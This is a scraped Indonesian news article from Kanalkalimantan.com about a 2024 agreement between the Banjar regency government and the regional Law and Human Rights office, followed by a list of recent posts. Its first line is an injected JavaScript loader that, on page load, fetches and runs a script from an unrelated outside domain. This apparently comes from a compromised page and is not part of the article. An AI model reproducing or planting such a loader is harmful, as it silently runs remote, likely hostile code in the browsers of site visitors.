(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Tingkatkan Pelayanan ke Masyarakat Pemkab Banjar Tandatangani Kesepakatandengan Kanwil Kemenkumham


KANALKALIMANTAN.COM, MARTAPURA – Pemkab Banjar dengan Kanwil Kemenkumham Kalimantan Selatan melakukan penandatanganan tentang Pembentukan Hukum, Pelayanan Hukum, Pengembangan Budaya Hukum, Penghormatan Pemajuan dan Pemenuhan HAM, serta Pelayanan Pemasyarakatan.

Penandatanganan itu dilakukan pada Kamis (17/10/2024) selepas pelaksanaan Apel Hari Kesadaran Nasional Lingkup Pemkab Banjar.

Penandatanganan itu dilakukan dalam rangka meningkatkan pelayanan kepada masyarakat melalui sinergitas antarstakeholder.

Kesepahaman Bersama ditandatangani oleh Pjs Bupati Banjar Akhmad Fydayeen dan Kepala Kanwil Kemenkumham Kalsel Jumadi, di halaman Kantor Bupati Banjar di Martapura.

Baca juga: Periksa 8 Saksi, KPK Dalami Aliran ke Paman Birin dan Dinas PUPR

Kesepahaman Bersama memuat antara lain kegiatan pengkajian, penelitian dan pengembangan hukum di bidang hukum dan Hak Asasi Manusia, pembentukan rancangan Produk Hukum Daerah, mediasi dan konsultasi Produk Hukum Daerah, penyuluhan hukum, pembinaan dan pengembangan Jaringan Dokumentasi dan Informasi Hukum.

Program bantuan hukum untuk masyarakat miskin, pembinaan dan pembentukan keluarga sadar hukum dan kelurahan sadar hukum, penyelenggaraan pemajuan, pemenuhan, perlindungan dan penegakan Hak Asasi Manusia, pelayanan kekayaan intelektual, pelayanan administrasi hukum umum, dan pendidikan, pelatihan kerja dan pelayanan kesehatan bagi warga binaan pemasyarakatan.

Dengan adanya kesepahaman bersama ini diharapkan akan menghasilkan outcome berupa peningkatan nilai Reformasi Birokrasi Pemerintah Daerah, Government Effectiveness (GE) dan Regulator Quality (RQ), juga dapat menghasilkan regulasi daerah yang berkualitas sehingga bisa meningkatkan kesadaran masyarakat terhadap peraturan perundang-undangan demi terciptanya situasi kondusif di masyarakat.
Dalam hal pemenuhan HAM pun.

Melalui kesepahaman bersama ini dipercaya dapat meningkatkan pelayanan administrasi hukum umum (AHU), sehingga segala pelayanan publik terhadap masyarakat dapat terlaksana secara baik. (Kanalkalimantan.com/dkispbanjar/kk)

Reporter: kk
Editor: Dhani


Risa

Recent Posts

Door to Door Kanalkalimantan Peduli-MPA Fisipioneer Antar Sembako di Tanjung Rema

KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa… Read More

4 jam ago

Persawahan Terendam, Petani Tak Bisa Berbuat Apa-apa

KANALKALIMANTAN.COM, MARTAPURA — Banjir yang menenggelamkan wilayah Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar mematikan… Read More

4 jam ago

UMP 2026 Kalimantan Selatan Naik 6,54%, Begini Aturannya!

Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember… Read More

5 jam ago

Pemkab Kapuas Bahas Skema Penyelesaian Tenaga Non ASN

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More

6 jam ago

Wabup Kapuas: Hindari Pemborosan, Hentikan Budaya Dilayani

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More

6 jam ago

Banjir Balangan: 34 Desa Terdampak di 6 Kecamatan, Ratusan Rumah Rusak

KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More

7 jam ago

This website uses cookies.